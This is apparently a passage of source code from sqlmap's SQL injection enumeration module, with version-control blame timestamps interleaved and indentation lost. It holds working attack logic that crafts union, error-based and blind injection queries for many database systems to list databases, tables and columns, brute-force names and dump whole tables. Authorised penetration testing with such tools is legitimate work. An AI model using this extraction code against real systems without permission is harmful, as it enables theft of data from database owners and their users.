query += " WHERE %s='%s'" % (condition, conf.db)
elif conf.excludeSysDbs:
2008-10-15 19:38:22 +04:00
query += " WHERE "
2010-12-22 14:46:18 +03:00
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
2011-02-19 21:36:26 +03:00
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
2010-12-22 14:46:18 +03:00
query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
2011-02-04 16:29:02 +03:00
value = filter(lambda x: x, value)
2008-10-15 19:38:22 +04:00
if value:
if Backend.getIdentifiedDbms() == DBMS.SQLITE:
if isinstance(value, basestring):
2010-11-02 14:59:24 +03:00
value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)):
newValue = []
for v in value:
2010-11-02 14:59:24 +03:00
newValue.append([ DBMS.SQLITE, v])
value = newValue
2008-10-15 19:38:22 +04:00
for db, table in value:
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
2008-10-15 19:38:22 +04:00
else:
kb.data.cachedTables[db].append(table)
2008-10-15 19:38:22 +04:00
if not kb.data.cachedTables and not conf.direct:
2008-10-15 19:38:22 +04:00
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS):
query = rootQuery.blind.count
else:
query = rootQuery.blind.count % db
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
if Backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE ):
plusOne = True
else:
plusOne = False
2010-05-30 18:53:13 +04:00
indexRange = getRange(count, plusOne=plusOne)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS):
2010-11-03 01:11:45 +03:00
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index
else:
query = rootQuery.blind.query % (db, index)
table = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
tables.append(table)
kb.hintValue = table
2008-10-15 19:38:22 +04:00
if tables:
kb.data.cachedTables[db] = tables
2008-10-15 19:38:22 +04:00
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedTables
2008-10-15 19:38:22 +04:00
def getColumns(self, onlyColNames=False):
bruteForce = False
2010-12-30 11:29:20 +03:00
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
2011-03-27 11:58:15 +04:00
conf.tbl = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, conf.tbl)
self.forceDbmsEnum()
2010-12-30 11:29:20 +03:00
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
2008-10-15 19:38:22 +04:00
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg)
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
conf.tbl = self.__safeSQLIdentificatorNaming(conf.tbl)
conf.db = self.__safeSQLIdentificatorNaming(conf.db)
if bruteForce:
resumeAvailable = False
2011-01-12 00:46:21 +03:00
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
resumeAvailable = True
break
if resumeAvailable:
columns = {}
for db, table, colName, colType in kb.brute.columns:
if db == conf.db and table == conf.tbl:
columns[colName] = colType
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
2011-01-12 00:46:21 +03:00
return kb.data.cachedColumns
message = "do you want to use common columns existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
return columnExists(paths.COMMON_COLUMNS)
2008-10-15 19:38:22 +04:00
rootQuery = queries[Backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
infoMsg = "fetching columns "
if conf.col:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
conf.col = conf.col.upper()
colList = conf.col.split(",")
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (conf.tbl, conf.db)
query += condQuery
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % conf.tbl.upper()
query += condQuery
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.inband.query % (conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl if '.' not in conf.tbl else conf.tbl.split('.')[1])
query += condQuery.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl
2008-10-15 19:38:22 +04:00
value = inject.getValue(query, blind=False)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() == DBMS.SQLITE:
parseSqliteTableSchema(value)
elif value:
2008-10-15 19:38:22 +04:00
table = {}
columns = {}
for columnData in value:
name = self.__safeSQLIdentificatorNaming(columnData[0])
if len(columnData) == 1:
columns[name] = ""
else:
columns[name] = columnData[1]
2008-10-15 19:38:22 +04:00
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns and not conf.direct:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.count % (conf.tbl, conf.db)
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper()
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() in DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, \
conf.tbl if '.' not in conf.tbl else conf.tbl.split('.')[1])
query += condQuery.replace("[DB]", conf.db)
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.count % (conf.tbl)
query += condQuery
2011-02-19 17:56:58 +03:00
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False, error=False)
parseSqliteTableSchema(value)
2011-02-19 17:56:58 +03:00
return kb.data.cachedColumns
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
2008-10-15 19:38:22 +04:00
if not isNumPosStrValue(count):
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
2010-01-11 16:06:16 +03:00
indexRange = getRange(count)
2008-10-15 19:38:22 +04:00
for index in indexRange:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (conf.tbl, conf.db)
query += condQuery
field = None
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.query % (conf.tbl.upper())
query += condQuery
field = None
2011-02-19 03:36:47 +03:00
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
query = rootQuery.blind.query % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.tbl if '.' not in conf.tbl else conf.tbl.split('.')[1])
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (conf.tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False, error=False)
2008-10-15 19:38:22 +04:00
column = self.__safeSQLIdentificatorNaming(column)
2008-10-15 19:38:22 +04:00
if not onlyColNames:
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
2008-10-15 19:38:22 +04:00
conf.db, column, conf.db,
conf.db, conf.db, conf.tbl if '.' not in conf.tbl else conf.tbl.split('.')[1])
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column)
2008-10-15 19:38:22 +04:00
colType = inject.getValue(query, inband=False, error=False)
if Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
2008-10-15 19:38:22 +04:00
columns[column] = colType
else:
columns[column] = None
if columns:
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
2008-10-15 19:38:22 +04:00
if not kb.data.cachedColumns:
2008-10-15 19:38:22 +04:00
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return kb.data.cachedColumns
2008-10-15 19:38:22 +04:00
2011-02-19 17:56:58 +03:00
def __pivotDumpTable(self, table, colList, count=None, blind=True):
2011-02-19 03:36:47 +03:00
lengths = {}
entries = {}
2011-02-19 17:56:58 +03:00
dumpNode = queries[Backend.getIdentifiedDbms()].dump_table.blind
2011-02-19 03:36:47 +03:00
validColumnList = False
validPivotValue = False
2011-02-19 17:56:58 +03:00
if not count:
query = dumpNode.count % table
if blind:
count = inject.getValue(query, inband=False, error=False)
else:
count = inject.getValue(query, blind=False)
2011-02-19 12:40:41 +03:00
for column in colList:
infoMsg = "fetching number of distinct "
infoMsg += "values for column '%s'" % column
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
query = dumpNode.count2 % (column, table)
2011-02-19 12:40:41 +03:00
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
if isNumPosStrValue(value):
validColumnList = True
if value == count:
infoMsg = "using column '%s' as a pivot " % column
infoMsg += "for retrieving row data"
logger.info(infoMsg)
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
validPivotValue = True
2011-02-19 03:36:47 +03:00
2011-02-19 12:40:41 +03:00
colList.remove(column)
colList.insert(0, column)
break
2011-02-19 03:36:47 +03:00
if not validColumnList:
errMsg = "all column name(s) provided are non-existent"
raise sqlmapNoneDataException, errMsg
if not validPivotValue:
warnMsg = "no proper pivot column provided (with unique values)."
warnMsg += " all rows can't be retrieved."
logger.warn(warnMsg)
pivotValue = " "
breakRetrieval = False
2011-02-19 12:40:41 +03:00
for i in xrange(int(count)):
2011-02-19 03:36:47 +03:00
if breakRetrieval:
break
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if column == colList[0]:
# Correction for pivotValues with unrecognized chars
2011-02-19 12:36:57 +03:00
if pivotValue and '?' in pivotValue and pivotValue[0] != '?':
2011-02-19 03:36:47 +03:00
pivotValue = pivotValue.split('?')[0]
pivotValue = pivotValue[:-1] + chr(ord(pivotValue[-1]) + 1)
query = dumpNode.query % (column, table, column, pivotValue)
else:
query = dumpNode.query2 % (column, table, colList[0], pivotValue)
if blind:
value = inject.getValue(query, inband=False, error=False)
else:
value = inject.getValue(query, blind=False)
if column == colList[0]:
if not value:
breakRetrieval = True
break
else:
pivotValue = value
lengths[column] = max(lengths[column], len(value) if value else 0)
entries[column].append(value)
2011-02-19 12:36:57 +03:00
return entries, lengths
def __safeSQLIdentificatorNaming(self, value):
"""
2011-03-27 11:58:15 +04:00
Returns a safe representation of SQL identificator name
"""
retVal = value
2011-03-26 08:55:49 +03:00
if isinstance(value, basestring):
parts = value.split('.')
for i in range(len(parts)):
if not re.match(r"\A[A-Za-z0-9_]+\Z", parts[i]):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
parts[i] = "`%s`" % parts[i].strip("`")
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.PGSQL):
parts[i] = "\"%s\"" % parts[i].strip("\"")
retVal = ".".join(parts)
return retVal
2011-03-27 11:58:15 +04:00
def __unsafeSQLIdentificatorNaming(self, value):
"""
Extracts identificator's name from it's safe SQL representation
"""
retVal = value
if isinstance(value, basestring):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
retVal = value.replace("`", "")
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.PGSQL):
retVal = value.replace("\"", "")
if Backend.getIdentifiedDbms() == DBMS.MSSQL:
retVal = retVal.lstrip("%s." % DEFAULT_MSSQL_SCHEMA)
return retVal
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
warnMsg = "missing table parameter. You only provided "
warnMsg += "column(s). sqlmap will search for all databases' "
warnMsg += "tables containing the provided column(s)"
logger.warn(warnMsg)
self.searchColumn()
return
if "." in conf.tbl:
if not conf.db:
conf.db, conf.tbl = conf.tbl.split(".")
elif Backend.getIdentifiedDbms() == DBMS.MSSQL:
2011-03-27 11:58:15 +04:00
conf.tbl = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, conf.tbl)
self.forceDbmsEnum()
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
conf.tbl = self.__safeSQLIdentificatorNaming(conf.tbl)
conf.db = self.__safeSQLIdentificatorNaming(conf.db)
if conf.col:
colList = conf.col.split(",")
kb.data.cachedColumns[conf.db] = {}
kb.data.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
kb.data.cachedColumns[conf.db][conf.tbl][column] = None
elif not kb.data.cachedColumns:
kb.data.cachedColumns = self.getColumns(onlyColNames=True)
if conf.col:
colList = conf.col.split(",")
elif kb.data.cachedColumns and conf.db in kb.data.cachedColumns and conf.tbl in kb.data.cachedColumns[conf.db]:
colList = kb.data.cachedColumns[conf.db][conf.tbl].keys()
else:
errMsg = "missing column names, "
errMsg += "can't dump table"
raise sqlmapNoneDataException, errMsg
2010-12-18 01:23:01 +03:00
if colList in ([None], ['None']):
warnMsg = "unable to retrieve column names"
logger.warn(warnMsg)
return None
colString = ", ".join(column for column in colList)
infoMsg = "fetching"
if conf.col:
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
2011-02-22 17:19:39 +03:00
if any([isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION), isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.direct]):
entries = []
2011-02-22 17:19:39 +03:00
if all([Backend.getIdentifiedDbms() == DBMS.MYSQL, isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR), conf.groupConcat]):
randStr, randStr2 = randomStr(), randomStr()
filterFunction = "REPLACE(REPLACE(IFNULL(%s, ' '),'%s','%s'),'%s','%s')"\
% ('%s', CONCAT_VALUE_DELIMITER, randStr, CONCAT_ROW_DELIMITER, randStr2)
concats = ",".join(map(lambda x: "CONCAT(%s, '|')" % (filterFunction % x), colList[:-1]))
concats += ",%s" % (filterFunction % colList[-1])
query = "SELECT GROUP_CONCAT(%s) FROM %s.%s" % (concats, conf.db, conf.tbl)
value = inject.getValue(query, blind=False)
if isinstance(value, basestring):
for line in value.split(CONCAT_ROW_DELIMITER):
row = line.split(CONCAT_VALUE_DELIMITER)
2011-02-22 17:51:42 +03:00
row = map(lambda x: x.replace(randStr, CONCAT_VALUE_DELIMITER).replace(randStr2, CONCAT_ROW_DELIMITER), row)
entries.append(row)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % (colString, conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())))
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % (colString, conf.tbl)
elif Backend.getIdentifiedDbms() == DBMS.SYBASE:
table = "%s..%s" % (conf.db, conf.tbl)
entries, _ = self.__pivotDumpTable(table, colList, blind=False)
entries = zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, conf.tbl)
2011-02-19 21:04:27 +03:00
if not entries:
entries = inject.getValue(query, blind=False, dump=True)
if entries:
if isinstance(entries, basestring):
entries = [ entries ]
entriesCount = len(entries)
index = 0
for column in colList:
colLen = len(column)
if not kb.data.dumpedTable.has_key(column):
kb.data.dumpedTable[column] = { "length": 0, "values": [] }
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, basestring):
colEntry = entry
else:
colEntry = entry[index] if index < len(entry) else u''
2010-06-02 16:45:40 +04:00
colEntryLen = len(getUnicode(colEntry))
maxLen = max(colLen, colEntryLen)
if maxLen > kb.data.dumpedTable[column]["length"]:
kb.data.dumpedTable[column]["length"] = maxLen
kb.data.dumpedTable[column]["values"].append(colEntry)
index += 1
if not kb.data.dumpedTable and not conf.direct:
infoMsg = "fetching number of "
if conf.col:
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.count % (conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % conf.tbl
2011-02-19 03:36:47 +03:00
elif Backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.count % ("%s..%s" % (conf.db, conf.tbl))
2011-02-21 01:07:12 +03:00
elif Backend.getIdentifiedDbms() == DBMS.MAXDB:
query = rootQuery.blind.count % ("%s" % conf.tbl)
else:
query = rootQuery.blind.count % (conf.db, conf.tbl)
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "unable to retrieve the number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
lengths = {}
entries = {}
2011-01-01 15:41:51 +03:00
try:
2011-02-21 01:07:12 +03:00
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB):
2011-02-21 01:41:42 +03:00
if Backend.getIdentifiedDbms() == DBMS.ACCESS:
2011-02-19 03:36:47 +03:00
table = conf.tbl
2011-02-21 01:07:12 +03:00
elif Backend.getIdentifiedDbms() == DBMS.SYBASE:
2011-02-19 03:36:47 +03:00
table = "%s..%s" % (conf.db, conf.tbl)
2011-02-21 01:41:42 +03:00
elif Backend.getIdentifiedDbms() == DBMS.MAXDB:
table = "%s.%s" % (conf.db, conf.tbl)
2011-02-19 17:56:58 +03:00
entries, lengths = self.__pivotDumpTable(table, colList, count, blind=True)
2011-01-01 15:41:51 +03:00
else:
2011-02-19 12:36:57 +03:00
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MSSQL, DBMS.SYBASE):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, dump=True, plusOne=plusOne)
2011-01-01 15:41:51 +03:00
for index in indexRange:
for column in colList:
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = []
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, conf.db,
conf.tbl, index)
elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, column,
conf.tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), conf.tbl.upper())),
2011-01-01 15:41:51 +03:00
index)
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, index, conf.db,
conf.tbl, colList[0],
colList[0], colList[0])
elif Backend.getIdentifiedDbms() == DBMS.SQLITE:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (column, conf.tbl, index)
elif Backend.getIdentifiedDbms() == DBMS.FIREBIRD:
2011-01-01 15:41:51 +03:00
query = rootQuery.blind.query % (index, column, conf.tbl)
value = inject.getValue(query, inband=False, error=False, dump=True)
2011-01-01 15:41:51 +03:00
lengths[column] = max(lengths[column], len(value) if value else 0)
2011-01-01 15:41:51 +03:00
entries[column].append(value)
except KeyboardInterrupt:
warnMsg = "Ctrl+C detected in dumping phase"
logger.warn(warnMsg)
except sqlmapConnectionException, e:
errMsg = "connection exception detected in dumping phase: "
errMsg += "'%s'" % e
logger.critical(errMsg)
for column, columnEntries in entries.items():
2011-01-07 20:53:17 +03:00
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = { "length": length,
"values": columnEntries }
entriesCount = len(columnEntries)
if kb.data.dumpedTable:
kb.data.dumpedTable["__infos__"] = { "count": entriesCount,
"table": conf.tbl,
"db": conf.db }
else:
warnMsg = "unable to retrieve the entries of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
return None
attackDumpedTable()
return kb.data.dumpedTable
def dumpAll(self):
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
conf.db = None
conf.tbl = None
conf.col = None
kb.data.cachedDbs = []
kb.data.cachedTables = self.getTables()
2010-11-05 01:00:14 +03:00
if kb.data.cachedTables:
if isinstance(kb.data.cachedTables, list):
kb.data.cachedTables = { None : kb.data.cachedTables }
2010-11-05 01:00:14 +03:00
for db, tables in kb.data.cachedTables.items():
conf.db = db
2010-11-05 01:00:14 +03:00
for table in tables:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
2010-11-05 01:00:14 +03:00
data = self.dumpTable()
2010-11-05 01:00:14 +03:00
if data:
conf.dumper.dbTableValues(data)
def dumpFoundColumn(self, dbs, foundCols, colConsider):
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
conf.dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs or not tblData:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % db
message += "[a]ll (default)\n"
for tbl in tblData:
message += "[%s]\n" % tbl
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test in ("a", "A"):
dumpFromTbls = tblData
elif test in ("s", "S"):
continue
elif test in ("q", "Q"):
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table, columns in tblData.items():
if table not in dumpFromTbls:
continue
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)
def searchDb(self):
foundDbs = []
rootQuery = queries[Backend.getIdentifiedDbms()].search_db
dbList = conf.db.split(",")
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
dbCond = rootQuery.inband.condition2
else:
dbCond = rootQuery.inband.condition
dbConsider, dbCondParam = self.likeOrExact("database")
for db in dbList:
infoMsg = "searching database"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % db
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
dbQuery = "%s%s" % (dbCond, dbCondParam)
dbQuery = dbQuery % db
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
query += dbQuery
query += exclDbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, basestring):
values = [ values ]
for value in values:
foundDbs.append(value)
else:
infoMsg = "fetching number of databases"
if dbConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % db
logger.info(infoMsg)
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
query += dbQuery
query += exclDbsQuery
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count):
warnMsg = "no database"
if dbConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' found" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2
else:
query = rootQuery.blind.query
query += dbQuery
query += exclDbsQuery
query = agent.limitQuery(index, query, dbCond)
foundDbs.append(inject.getValue(query, inband=False, error=False))
return foundDbs
def searchTable(self):
bruteForce = False
if Backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
bruteForce = True
elif Backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access"
logger.error(errMsg)
bruteForce = True
if bruteForce:
message = "do you want to use common table existance check? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
else:
regex = "|".join(conf.tbl.split(","))
return tableExists(paths.COMMON_TABLES, regex)
rootQuery = queries[Backend.getIdentifiedDbms()].search_table
foundTbls = {}
tblList = conf.tbl.split(",")
tblCond = rootQuery.inband.condition
dbCond = rootQuery.inband.condition2
tblConsider, tblCondParam = self.likeOrExact("table")
for tbl in tblList:
if Backend.getIdentifiedDbms() == DBMS.ORACLE:
tbl = tbl.upper()
infoMsg = "searching table"
if tblConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % tbl
logger.info(infoMsg)
if conf.excludeSysDbs:
exclDbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
exclDbsQuery = ""
tblQuery = "%s%s" % (tblCond, tblCondParam)
tblQuery = tblQuery % tbl
